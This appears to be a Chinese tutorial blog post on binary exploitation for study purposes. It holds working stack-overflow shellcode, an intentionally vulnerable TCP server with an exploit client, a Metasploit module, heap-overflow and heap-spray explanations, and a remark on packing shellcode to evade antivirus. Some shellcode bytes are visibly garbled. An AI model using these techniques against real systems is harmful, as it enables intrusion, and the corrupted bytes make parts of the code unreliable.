本公眾號(hào)分享的所有技術(shù)僅用于學(xué)習(xí)交流,請(qǐng)勿用于其他非法活動(dòng),如果錯(cuò)漏,歡迎留言指正
二進(jìn)制漏洞分析與挖掘
《0day安全:軟件漏洞分析技術(shù)第2版》王清電子工業(yè)出版社
入門用,但不全,過(guò)時(shí)了,linux部分沒有包含進(jìn)去
- 漏洞分析、挖掘和利用,安全領(lǐng)域重要和最具挑戰(zhàn)性和對(duì)抗性的分支
- 應(yīng)用在綜合開發(fā),算法,語(yǔ)法,系統(tǒng)底層,內(nèi)核,逆向,匯編,調(diào)試等方方面面
漏洞是怎么回事?
-
BUG
:軟件的功能性邏輯缺陷。影響軟件的正常功能。 -
漏洞
:能夠?qū)е萝浖鲆恍┏鲈O(shè)計(jì)范圍的事情的bug,則漏洞。這類BUG,通常不會(huì)影響軟件的正常功能,但如果被攻擊者利用之后,會(huì)執(zhí)行一些惡意的代碼(漏洞挖掘者一般彈出對(duì)話框和calc.exe,下載木馬病毒到目標(biāo)電腦上或者挖礦程序等)。 -
0Day
:攻擊者掌握的未被軟件廠商修復(fù)的漏洞。- 定期更新軟件廠商發(fā)布的補(bǔ)丁
- 不要訪問(wèn)不安全的網(wǎng)站(實(shí)在不行在虛擬機(jī)中訪問(wèn))
- 不安裝來(lái)路不明的軟件
-
1Day
:已經(jīng)被軟件廠商修復(fù)的漏洞,但用戶沒有打補(bǔ)丁。 -
POC代碼
:Proof of Concept,證明漏洞存在或者利用漏洞的代碼,exploit的過(guò)程- 漏洞出現(xiàn),但
POC代碼
還沒有公布,漏洞依然不會(huì)產(chǎn)生太大的破壞性,一旦POC代碼
還沒有公布,后果很嚴(yán)重 - 白帽子發(fā)現(xiàn)漏洞會(huì)告知軟件廠商修復(fù),不會(huì)公布
POC代碼
- 黑帽發(fā)現(xiàn)漏洞,也不會(huì)公開
POC代碼
,留著自己玩。
- 漏洞出現(xiàn),但
-
EXP
用來(lái)進(jìn)行惡意攻擊 - Exploit(利用)的縮寫。當(dāng)漏洞被證實(shí)確實(shí)存在后,黑客就會(huì)利用網(wǎng)上公開的或自己挖掘到的漏洞信息(包括PoC)編寫利用代碼或制作相應(yīng)的攻擊工具,就被稱為EXP。
- 披露類型分為四種:
- 不披露
- 完全披露
- 負(fù)責(zé)任的披露
- 協(xié)同披露
參考網(wǎng)址:1.cve.mitre.orgcert.org
2.cert.org
3.blogs.#
4.https://www.anquanke.com/
5.freebuf.com
烏云(關(guān)閉了,可能是因?yàn)槟J降膯?wèn)題(一旦提交漏洞之后,通知軟件廠商,限時(shí)修復(fù),過(guò)期就會(huì)把漏洞細(xì)節(jié)公布),因此得罪了很大一部分人)
緩沖區(qū)溢出攻擊分析
- 緩沖區(qū)溢出分類
- 棧溢出
- 堆溢出
- 溢出
根本原因
:馮洛伊曼計(jì)算機(jī)體系(存儲(chǔ)程序)未對(duì)數(shù)據(jù)和代碼明確區(qū)分
- 圖靈機(jī)的原型是
明確區(qū)分?jǐn)?shù)據(jù)和代碼
的,當(dāng)時(shí)哈佛
計(jì)算機(jī)就是按照這個(gè)原型設(shè)計(jì)的。 - 馮洛伊曼計(jì)算機(jī)體系流行的原因是:大大簡(jiǎn)化體系設(shè)計(jì)的復(fù)雜度,不會(huì)造成性能的瓶頸。
- 圖靈機(jī)的原型是
- 攻擊的
過(guò)程
-
ShellCode
- 正常情況下,棧是用來(lái)存放
數(shù)據(jù)
(參數(shù)和局部變量),不應(yīng)該存放代碼
的 - ShellCode存放在棧上,棧溢出
- 正常情況下,棧是用來(lái)存放
-
Exploit
–利用- 用MetaSploit(腳本編程)開發(fā)Exploit
棧溢出
/**
* 函數(shù)參數(shù)右往左次入棧,棧對(duì)齊,參數(shù)大小會(huì)提升到4個(gè)字節(jié),比如char,short 1Byte/2Byte數(shù)據(jù)存放在4Byte的空間中
* 在printf中float會(huì)提升到double(4Byte->8Byte)
*
* stcpy不會(huì)對(duì)拷貝的長(zhǎng)度進(jìn)行檢查,從地址往高地址拷貝,當(dāng)拷貝長(zhǎng)度大于局部變量的空間,就會(huì)產(chǎn)出棧溢出,可以精心構(gòu)造,把老的eip覆蓋成shellcode的地址,
* 函數(shù)執(zhí)行返回的時(shí)候,就會(huì)去執(zhí)行shellcode,加密磁盤,下載木馬,反向鏈接客戶端(肉雞,在目標(biāo)計(jì)算機(jī)打開一個(gè)端口,連接自己電腦,通過(guò)這個(gè)通道控制計(jì)算,甚至系統(tǒng)重啟,反向鏈接依舊可以保持)
* 低 --------- <---esp
* | |局部變量區(qū)| /\
* | ---------- <---ebp |
* | | 老ebp | |
* | ---------- |
* | | 老eip | |
* 內(nèi) ---------- <----ebp棧平衡 棧
* 存 | 參數(shù)1 | 增
* 增 ---------- 長(zhǎng)
* 長(zhǎng) | ... | 方
* 方 ---------- 向
* 向 | 參數(shù)n | |
* | ---------- |
* \/
* 高
*/
shellcode
- shellcode是一段可執(zhí)行的
機(jī)器碼
(指令)的十六進(jìn)制
編碼字符串
/// 構(gòu)造一個(gè)shellcode,通過(guò)棧溢出,實(shí)現(xiàn)彈出計(jì)算器,即system("calc.exe");
// LoadLibrary("msvcrt.dll");
// system("calc.exe");
// ExitProcess()
/// @todo shellcode這些函數(shù)的地址硬編碼了,如果引入地址隨機(jī)化技術(shù)(PE加載的ImageBase不再是0x00400000)之后,每次程序重新啟動(dòng)后,這些函數(shù)的地址都是變化的。
/// @todo 不兼容多平臺(tái),最好不使用硬編碼,而是動(dòng)態(tài)搜尋函數(shù)地址。
/// @todo 自加解密,自壓縮解壓,加解殼,讓shellcode繞開防火墻或者殺毒軟件的檢測(cè)
/// @attention strcpy()拷貝數(shù)據(jù)不能包含'\x00',即'\0',會(huì)被提前截?cái)?。比如mov edi,0;這條匯編的機(jī)器碼必然包含00,所以使用oxr edi,edi;替換
/// x86是低位優(yōu)先存儲(chǔ),所以需要把機(jī)器碼按照低位優(yōu)先的格式反過(guò)來(lái)構(gòu)造shellcode的字符串
unsigned char sh[]=
//函數(shù)執(zhí)行前序言部分
"\x8B\xE5" //MoV ESP,EBP; '\x8B'其中`\x`是轉(zhuǎn)義字符,表示后面跟著一個(gè)兩位的十六進(jìn)制數(shù)
"\x55" //PUSH EBP
"\x8B\xEC" //mov ebp,esp; 提升棧底
"\x33\xFF" //xor edi,edi;這里的0,是字符串的結(jié)束符'\0'
"\x57" // push edi;0ch-8=4Byte,多出來(lái)4個(gè)字節(jié)的0
"\x83\xEC\x08" //sub esp,08h
"\xc6\x45\xF4\x6D" //mov byte ptr [ebp-0ch],'m'; 后進(jìn)先出
"\xc6\x45\xF5\x73" //'s'
"\xc6\x45\xF6\x76" //'v'
"\xc6\x45\xF7\x63" //'c'"
"\xc6\x45\xF8\x72" //'r'
"\xc6\x45\xF9\x74" //'t'
"\xc6\x45\xFA\×2E" //'.'
"\xc6\x451xFB1x64" //'d'
"\xc61x451xFc\x6C" //'l'
"\xc6\x45\xFD\x6C" //'l'
"\x8D\x45\xF4" //lea eax,[ebp-0ch]; "msvcrt.dll"的首地址
"\x50" //push eax; 參數(shù)入棧
"\xB8\x7B\x1D\x80\x7c" //mov eax,7C801D7Bh; LoadLibrary函數(shù)的地址
"\xFF\xD0" //call eax; LoadLibrary("msvcrt.dll"),system()的地址在msvcrt.dll中。
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx; '\0'
"\x68\x2E\x65\x78\x65" //push "exe."
"\x68\x63\x61\x6c\x63" //push "calc" 數(shù)據(jù)在內(nèi)存中按低位優(yōu)先存儲(chǔ),棧的增長(zhǎng)方向是從高向低,(高->低)所存儲(chǔ)的是"exe.calc",即(低->高)所存儲(chǔ)的是"clac.exe",可以更抽象一層,只需要記得棧是后進(jìn)先出的,就可以屏蔽掉這些驗(yàn)算了
"\x8B\xC4" //mov eax,esp; esp指向"clac.exe"的首地址
"\x50" //push eax; 傳參
"\xB8\xC7\x93\xBF\x77" //mov eax,77BF93C7h; system()的地址
"\xFF\xD0" // call eax; system("calc.exe")
"\xB8lxFAlxCA1x81lx7C" //mov eax,7c81cafah; ExitProcess()的地址
"\xFF\xD0" //call eax; ExitProcess(),shellcode可能會(huì)破壞程序棧上的的其他數(shù)據(jù),導(dǎo)致程序執(zhí)行報(bào)錯(cuò)彈窗,用戶可能會(huì)發(fā)現(xiàn),執(zhí)行完shellcode之后默默退出,隱秘性更高。
- 設(shè)計(jì)shellcode的思路
- 提取機(jī)器碼(VS直接調(diào)試提取)(shellcode test,選一個(gè)C程序demo)
- 先寫一個(gè)正向的代碼
- 下斷點(diǎn)拿到正向代碼反匯編,把機(jī)器碼包含
00
的指令手動(dòng)改寫替換其他功能相同的非00
匯編指令 - __asm{正向代碼的反匯編}編譯運(yùn)行調(diào)試驗(yàn)證一下看功能是否正常
- 把驗(yàn)證過(guò)的機(jī)器碼構(gòu)建成shellcode,即
unsigined char shellcode[]="驗(yàn)證過(guò)的機(jī)器碼"
- 測(cè)試shellcode,即構(gòu)造一個(gè)函數(shù)指針類型,
typedef void(*Func)()
,在main函數(shù)中調(diào)用((Func)&shellcode)()
來(lái)調(diào)試
- 優(yōu)化通用性,避免硬編碼
- 獲取調(diào)用的API地址
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll"); //加載函數(shù)所在的dll到內(nèi)存空間中,查微軟文檔即可知道函數(shù)對(duì)應(yīng)的dll,這里使用相對(duì)地址,存在dll劫持漏洞,應(yīng)該使用絕對(duì)地址
printf("kernel32LibHandle = 0x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system"); //拿到函數(shù)的地址,如果沒有加入地址隨機(jī)化,則函數(shù)的地址是固定的。
printf("system= 0x%x\n", ProcAdd);
- 讓shellcode中調(diào)用的API地址隨平臺(tái)變化而變化
///xpsp3
77d29353 jmp esp
77d507ea messageboxa
77bf93c7 system msvcrt.dll
7c81cafa ExitProcess
7c801d7b LoadLibraryA
///win2000 sp4
77df4c29 jmp esp
77e18098 messageboxa
78018ebf system msvcrt.dll
77e6e01a ExitRrocess
77e705cf LoadLibraryA
-
JMP ESP
地址搜索(search opcode)- 除了需要找到shellcode中的函數(shù)其對(duì)應(yīng)的地址,還需要找到
jmp esp
(對(duì)應(yīng)的機(jī)器碼是e4ff)的地址
(存放shellcode的位置是在棧上的形參或者是上一層函數(shù)棧空間上,具體的地址沒有辦法確定,因?yàn)槌绦驔]執(zhí)行一次函數(shù)棧的空間都會(huì)改變一次)所以需要使用jmp esp
跳轉(zhuǎn)到shellcode(用jmp esp地址去覆蓋ret的返回地址,即老的eip,當(dāng)函數(shù)返回執(zhí)行ret的時(shí)候(老的eip已經(jīng)被替換成了jmp esp地址,ret(pop eip)
;jmp esp),此時(shí)esp指向的是shellcode的起始位置;就會(huì)跳轉(zhuǎn)到shellcode上執(zhí)行 - 先找一個(gè)常駐內(nèi)存的dll(系統(tǒng)一啟動(dòng)就加載到內(nèi)存中的dll),比如
user32.dll
- 然后把這個(gè)dll加載到內(nèi)存空間中,暴力搜索,找到
jmp esp
的地址
- 除了需要找到shellcode中的函數(shù)其對(duì)應(yīng)的地址,還需要找到
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll" //先找一個(gè)常駐內(nèi)存的dll(系統(tǒng)一啟動(dòng)就加載到內(nèi)存中的dll)
int main()
{
BYTE* ptr;
int position, address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME); //把這個(gè)dll加載到內(nèi)存空間中
if (!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for (position = 0; !done_flag; position++)
{
try
{
if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) //暴力搜索,找到`jmp esp`的地址
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch (...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
return 0;
}
- 自加解密,自壓縮解壓,加解殼,讓shellcode繞開防火墻或者殺毒軟件的檢測(cè)
EXPLOIT構(gòu)建攻擊字符串
/// 這個(gè)函數(shù)存在棧溢出漏洞
void msg_display(char *buf)
{
char msg[200]; //msg存放棧上,且大小只有200Bte
strcpy(msg,buf); //如果buf<200Byte,一切正常,如果buf>=200byte,就會(huì)溢出msg,只需要拷貝204+4Byte就會(huì)覆蓋掉老的eip,即函數(shù)的返回地址
cout<<msg<<endl;
}
- EXPLOIT:
任意字符串
+JMP ESP
的地址+SHELLCODE
構(gòu)建攻擊字符串 - 204Byte
任意字符(
燃料):存放在局部變量+老ebp的空間上 - jmp esp的
地址
(GPS導(dǎo)航):存放在老eip空間上。目標(biāo)是跳轉(zhuǎn)到shellcode。 - shellcode(彈頭):
- 第1種覆蓋方式:硬編碼shellcode地址,重啟程序,可能會(huì)變
- 第2種覆蓋方式:存放在形參或者上層函數(shù)??臻g上,容易破壞主層棧的數(shù)據(jù),shellcode可能會(huì)破壞程序棧上的的其他數(shù)據(jù),導(dǎo)致程序執(zhí)行報(bào)錯(cuò)彈窗,用戶可能會(huì)發(fā)現(xiàn),優(yōu)化:執(zhí)行完shellcode之后執(zhí)行
ExitProcess()
,默默退出,隱秘性更高。 - 第3種覆蓋方式:較好利用了自己棧空間,
最好
的方式。
棧溢出的實(shí)戰(zhàn)
- 環(huán)境:xp系統(tǒng)+VC6(Vista及其以后的版本,vs2008及其以后加強(qiáng)了對(duì)緩沖區(qū)的保護(hù),提高了利用難度)
通過(guò)文件
- 程序
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"!
POC code of chapter 2.4 in book "Vulnerability Exploit and Analysis Technique"
file name : stack_overflow_exec.c
author : failwest
date : 2006.10.1
description : demo show how to redirect EIP to executed extra binary code in buffer
Noticed : should be complied with VC6.0 and build into debug version
the address of MessageboxA and the start of machine code in buffer
have to be make sure in file "password.txt" via runtime debugging
version : 1.0
E-mail : failwest@gmail.com
Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password,PASSWORD); //相等返回0
strcpy(buffer,password);//over flowed here! 在高版本的編譯器編譯會(huì)warring4996
return authenticated;
}
main()
{
int valid_flag = 0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox //這部分應(yīng)該放到shellcode中去執(zhí)行
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
- shellcode
"4321 //彈藥52個(gè)字節(jié)的填充字節(jié)
4321
4321
4321
4321
4321
4321
4321
4321
4321
4321
4321
4321
\x53\x93\xd2\x77 //jmp esp
\x33\xdb //xor ebx,ebx
\x53 //push ebx '\0'進(jìn)棧,'\0'在最后,因?yàn)闂J怯筛咄驮鲩L(zhǎng),后進(jìn)先出
\x68 // push 'west'一次push完,4個(gè)字節(jié)一次入棧
\x77 //w
\x65 //e
\x73 //s
\x74 //t 將參數(shù)傳給messagebox代碼
\x68 //push 'fail'一次push完,4個(gè)字節(jié) 'fail west \0'<--->棧頂-----棧底
\x66 //f
\x61 //a
\x69 //i
\x6c //l
\x8b\xc4 //mov eax,esp 因此eax-->'failwest\0'
\x53 //push ebx (0,'failwest','failwest',0)messagebox4個(gè)參數(shù)依次入棧
\x50 //push eax
\x50 //push eax
\x53 //push ebx
\xb8 //mov eax,messageboxa
\xea\x07\xd5\x77 //messageboxa的地址
\xff\xd0 //call eax
\x53\xb8 //mov eax, ExitProcess
\xfa\xca\x81\x7c //ExitProcess地址
\xff\xd0 //call eax
\x90\x90\x90\x90\x90\x90"
通過(guò)網(wǎng)絡(luò)
- release版本沒有老的ebp,即調(diào)用函數(shù)時(shí)不需要push esp
- 服務(wù)端
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"!
POC code of chapter 4 in book "Vulnerability Exploit and Analysis Technique"
file name : target_server.cpp
author : failwest
date : 2007.4.4
description : TCP server which got a stack overflow bug for exploit practice
Noticed : Complied with VC 6.0 and build into release version are recommend
version : 1.0
E-mail : failwest@gmail.com
Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <iostream.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char *buf) // buf是從客戶端傳過(guò)來(lái)的
{
char msg[200];
strcpy(msg, buf); // overflow here, copy 0x200 to 200
cout << "********************" << endl;
cout << "received:" << endl;
cout << msg << endl;
}
void main()
{
int sock, msgsock, lenth, receive_len;
struct sockaddr_in sock_server, sock_client;
char buf[0x200]; // noticed it is 0x200
WSADATA wsa;
WSAStartup(MAKEWORD(1, 1), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
cout << sock << "socket creating error!" << endl;
exit(1);
}
sock_server.sin_family = AF_INET; //ipv4
sock_server.sin_port = htons(7777); //監(jiān)聽7777端口
sock_server.sin_addr.s_addr = htonl(INADDR_ANY); //服務(wù)器上任意ip地址
if (bind(sock, (struct sockaddr *)&sock_server, sizeof(sock_server)))
{
cout << "binging stream socket error!" << endl;
}
cout << "**************************************" << endl;
cout << " exploit target server 1.0 " << endl;
cout << "**************************************" << endl;
listen(sock, 4);
lenth = sizeof(struct sockaddr);
do
{
msgsock = accept(sock, (struct sockaddr *)&sock_client, (int *)&lenth);
if (msgsock == -1)
{
cout << "accept error!" << endl;
break;
}
else
do
{
memset(buf, 0, sizeof(buf));
if ((receive_len = recv(msgsock, buf, sizeof(buf), 0)) < 0)
{
cout << "reading stream message erro!" << endl;
receive_len = 0;
}
msg_display(buf); // trigged the overflow
} while (receive_len);
closesocket(msgsock);
} while (1);
WSACleanup();
}
- 客戶端
// clientdemo.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <conio.h>
//xp sp3
#pragma comment(lib,"Ws2_32")
unsigned char buff[0x200] =
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaa"//200個(gè)a 沒有老的eip
"\x53\x93\xd2\x77"//jmp esp
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c" //loadlibrary地址
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65"
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函數(shù)地址 system("calc.exe");
"\xFF\xD0"
"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address
"\xff\xd0"//ExitProcess(0);
;
void main(int argc, char* argv[])
{
int fd;
int rtval;
struct sockaddr_in addr;
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
/* Tell the user that we could not find a usable */
/* Winsock DLL. */
printf("WSAStartup failed with error: %d\n", err);
return;
}
//建立TCP套接字
fd = socket(AF_INET, SOCK_STREAM, 0);
//初始化客戶端地址
memset(&addr, 0, sizeof (addr));
//設(shè)置地址協(xié)議族
addr.sin_family = AF_INET;
//設(shè)置要連接的IP地址
addr.sin_addr.s_addr = inet_addr(argv[1]);
//設(shè)置端口
addr.sin_port = htons(7777);
//連接服務(wù)器端
rtval = connect(fd, (struct sockaddr *)&addr, sizeof (addr));
if(rtval == -1)
return;
//向服務(wù)器端寫數(shù)據(jù)
printf("normal input:hello world\n");
send(fd, (const char *)"hello world",strlen("hello world")+1,0);
printf("press any key to start overflow\n");
getch();
send(fd, (const char *)buff, sizeof(buff),0);
//從服務(wù)器端讀數(shù)據(jù)
//recv(fd, buff, 80,0);
//printf("%s\n", buff);
//關(guān)閉套接字
closesocket(fd);
WSACleanup();
return;
}
沖擊波漏洞
- MSO3-26,包含了2個(gè)溢出漏洞,一個(gè)是本地的,一個(gè)是遠(yuǎn)程的。他們都是由一個(gè)通用接口導(dǎo)致的。
- 導(dǎo)致問(wèn)題的調(diào)用如下:
- hr =CoGetInstanceFromFile(pServerlnfo,NULE,0,CLSCTX_REMOTE_SERVER,STGM_ READWRlE,
L"C:\\1234561111111111111111111111111.doc"
,1,&qi); - 這個(gè)調(diào)用的文件名參數(shù)(第5個(gè)參數(shù),會(huì)引起溢出,當(dāng)這個(gè)文件名超長(zhǎng)的時(shí)候,會(huì)導(dǎo)致客戶端的本地溢出(在
RPCSS
中的GetPathForServer
函數(shù)里只給了0x20
字節(jié)的內(nèi)存空間,但是是用lstrcpyw
進(jìn)行拷貝的)
- hr =CoGetInstanceFromFile(pServerlnfo,NULE,0,CLSCTX_REMOTE_SERVER,STGM_ READWRlE,
- 在客戶端給服務(wù)器傳遞這個(gè)參數(shù)的時(shí)候,會(huì)自動(dòng)轉(zhuǎn)化成如下格式:
L"\\servername\c$\1234561111111111111111111111111.doc"
這樣的形式傳遞給遠(yuǎn)程服務(wù)器,于是在遠(yuǎn)程服務(wù)器的處理中會(huì)先取出servername
名,但是這里沒做長(zhǎng)度檢查,給定了0×20內(nèi)存空間
預(yù)防
- shellcode是存放在棧上的,棧上的數(shù)據(jù)不應(yīng)該有
可執(zhí)行權(quán)限
,所以在新的系統(tǒng)和CPU不會(huì)執(zhí)行棧上的代碼。- 但是可以突破,shellcode不存放在棧上,而是在現(xiàn)有的內(nèi)存中搜索,臨時(shí)組裝起來(lái)(ROP)。
- 只要程序能夠接受到外部的輸入(通過(guò)鍵盤,文件,網(wǎng)絡(luò)),把攻擊字符串傳給它,它就會(huì)中招。Shellcode可以放在文件中(.jpg,.doc,.mp4,.html),網(wǎng)絡(luò)包中等
MetaSploit自動(dòng)化
- 環(huán)境:
Kali Linux
class xxx
def initialize
#定義模塊初始化信息,如漏洞適用的操作系統(tǒng)平臺(tái)、為不同操作系統(tǒng)
#指明不同的返回地址、指明she1lcode中禁止出現(xiàn)的特殊字符、
#漏洞相關(guān)的描述、URL 引用、作者信息等
end
def exploit
#將填充物、返回地址、shellcode等組織成最終的attack buffer,并發(fā)送
end
end
#!/usr/bin/env ruby
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exp1oit::Remote::Tcp
def initialize(info = {})
super (update info (info,
'Name'=>'failwest test',
'Platform'->'win',
'Targets' => [
['windows 2000',{'Ret'=>0x77F8948B}], #jmp esp的地址
['windows xp SP2',{'Ret'->0x7C914393}]
],
'Payload' => {
'Space' => 200, #空間長(zhǎng)度
'Badchars'=> "\x00", #被排除的字符
}
))
end #end of initialize
def exploit
connect
attack_buf = 'a'*200 + [target ['Ret']].pack('V')+ payload
encoded
sock.put(attack_buf) #傳輸buf
handler #處理
disconnect
end #end of exploit def
end #end of class def
- 將寫好的ruby腳本放到msf的下面的路徑下
- Windows:
C:\metasploit\apps\pro\msf3\modules\exploits\windows\xxx
- Linux:
/usr/share/metasploit-framework/modules/exploits/windows/xxx
- Windows:
-
show exploits
應(yīng)該能看到我們所添加的模塊位于failwest/test -
use failwesttest
選用我們添加的模塊 -
show targets
顯示可用的目標(biāo)操作系統(tǒng) -
set target 0
設(shè)置測(cè)試目標(biāo)為Windows 2000系統(tǒng) -
show payloads
顯示可用的 shellcode -
sct payload windowsl/exec
這個(gè)shellcode可以執(zhí)行一條任意的命令 -
show options
顯示需要配置的信息set rhost xxx.XXX.XXX.XXX
設(shè)置目標(biāo)主機(jī)的IP地址,如在本地測(cè)試,則為127.0.0.1 -
set rport 7777
設(shè)置目標(biāo)程序使用的端口,這里是7777 -
set cmd calc
配置shellcode待執(zhí)行的命令,“calc”用于打開計(jì)算器 -
set exitfunc seh
可不設(shè)置,以SEH退出程序 -
exploit
發(fā)送測(cè)試數(shù)據(jù),執(zhí)行攻擊 -
reload
重新加載修改之后的模塊
堆溢出
- 堆的結(jié)構(gòu)
- 堆是存放在桶里面(hash+順序雙向循環(huán)鏈表(邏輯上相鄰結(jié)點(diǎn)在物理上時(shí)也是相鄰的)),微軟沒有官方公開文檔,堆的結(jié)構(gòu)是haker調(diào)試的經(jīng)驗(yàn)所得。
- 分配內(nèi)存其實(shí)將雙向循環(huán)鏈表中的結(jié)點(diǎn)摘掉,有
兩次
內(nèi)存寫入的機(jī)會(huì)
- 堆溢出
#include <stdio.h>
#include <malloc.h>
int main( void )
{
char *p1 = malloc(Node0);
strcpy(p1,buf); //如果多拷貝16Byte,就會(huì)覆蓋Node1->fp和Node1->bp,把*bp設(shè)置成任意地址,把*fp設(shè)置成任意數(shù)據(jù),造成緩沖區(qū)溢出
char *p2 = malloc(Node1); //發(fā)生malloc堆溢出攻擊
return 0;
}
/// 分配內(nèi)存,即當(dāng)把Node1結(jié)點(diǎn)摘掉的時(shí)候,
Node1->bp->fp = Node1->fp
(Node1->where)=(Node1->what) //fp在Node1中的offset是0,即Node1繞過(guò)了前8個(gè)字節(jié),直接指向fp,即(Node0指向Node1中的地址+0x00)
Node1->fp->bp = Node1->bp
(Node1->what) = (Node1->where) //bp在Node1中的offset是4,即(Node0指向Node1中的地址+0x04)
/// 鏈表的定義
/// 往普通結(jié)構(gòu)體中插入雙向指針,就演變成了一個(gè)雙向鏈表的節(jié)點(diǎn)了
typedef struct _MYDATA_LIST_ENTRY
{
int p_size
int s_size
LIST_ENTRY Entry;
WCHAR data[MAX_PATH];
}MYDATALIST_ENTRY,*PMYDATALIST_ENTRY
// 通過(guò)Entry遍歷鏈表,由于指針指向的不是MYDATALIST_ENTRY的首地址,而是指向MYDATALIST_ENTRY.Entry,所以需要計(jì)算出MYDATALIST_ENTRY的首地址,通過(guò)MYDATALIST_ENTRY的首地址訪問(wèn)節(jié)點(diǎn)內(nèi)的其他成員
//不能這樣機(jī)械類比。這個(gè)是程序中的鏈表。和堆管理的鏈表還不太一樣。
//堆管理的鏈表其實(shí)也沒有公開文檔。只是黑客自己分析出來(lái)的。
//但也不排除程序中的鏈表實(shí)際上也存在表示鏈表節(jié)點(diǎn)大小的額外頭部數(shù)據(jù)結(jié)構(gòu)
0day安全:軟件漏洞分析技術(shù)第2版》王清電子工業(yè)出版社
- where:任意地址
- 內(nèi)存變量地址
- 代碼邏輯地址
- 返回地址
- SEH
- PEB
- 函數(shù)指針(C++虛函數(shù)指針)
- what:任意數(shù)據(jù)
- shellcode
堆溢出實(shí)戰(zhàn)
- 0x7ffdf020 is the position in PEB.which hold a pointer to RtlEnterCriticalSection((7F89103)
- Shellcode最后一行:(what,where)
x30\x70\x40\x00``\20\xf0\xfd\x7f
- 執(zhí)行RtlEnterCriticalSection()->shellcode→RtlEnterCriticalSection()-> MessageBox→
@todo
堆噴射
- 瀏覽器上的漏洞
- 棧溢出的另一個(gè)形式
- 把棧上老eip的值改成0x0c0c0c0c
- 再堆上分配0x00000000-0x0c800000(200M),
- 0x900x900x90…shellcode(0xc0c0c0c0)\0\0
- 為什么shellcode前面有很多nop?
- 跳轉(zhuǎn)指令無(wú)法精確定位shellcode的地址。比如ret→0x0c0c0c0c,但0x0c0c0c0c這個(gè)位置不一定就是
shellcode的起始地址
(分配的內(nèi)存不一定從0開始,只是在0附近),這個(gè)時(shí)候,用nop指令擴(kuò)大shellocode的面積,即可提高命中幾率
。
- 跳轉(zhuǎn)指令無(wú)法精確定位shellcode的地址。比如ret→0x0c0c0c0c,但0x0c0c0c0c這個(gè)位置不一定就是
- 為什么非要跳轉(zhuǎn)到0xOc0c0c0c?
- 返回地址位置在字符串中位置可能不固定,大面積掃射返回地址(用0x0c0c0c0c去填充后面的字符串,命中的概率是100%(返回地址的位置一定會(huì)被填充上0x0c0c0c0c)),并采用字節(jié)相同的雙字跳轉(zhuǎn)地址:0x0c0c0c0c
/// 假如瀏覽器中有這樣一個(gè)溢出漏洞:
void get_install_path(char filename,char *fullpath)
{
char inst_dir[260];
get_install_dir(inst_dir);//獲取qq的安裝目錄"c:\\cisco\\QQ",安裝目錄每個(gè)人的系統(tǒng)用戶名是不一樣的,所以安裝目錄的長(zhǎng)度無(wú)法確定
strcat(inst_dir,filename);//"c:\\cisco\\QQ\\qq.exe" 260字節(jié)被安裝目錄占了一部分空間,要造成溢出傳入字符串的長(zhǎng)度是無(wú)法確定的,很難命中返回地址
strcpy(fullpath,inst_dir);
...
}
- 瀏覽器一般0x06060606,或者其他都行。當(dāng)涉及到c++的
vtable
時(shí),對(duì)指針解析到0x0c0c0c0c,可以達(dá)到棧噴射的目的。如果沒有解析到0x0c0c0c0c,半路上執(zhí)行0c0c0c0c,等價(jià)于or AL,0c
,是nop-alike指令,對(duì)系統(tǒng)沒有造成太大影響 - 思路
- 構(gòu)造shellcode放入.html文件中
- 用IE瀏覽器打開.html,執(zhí)行javascript代碼
- 寫一個(gè)dll(存在棧溢出漏洞的dll)
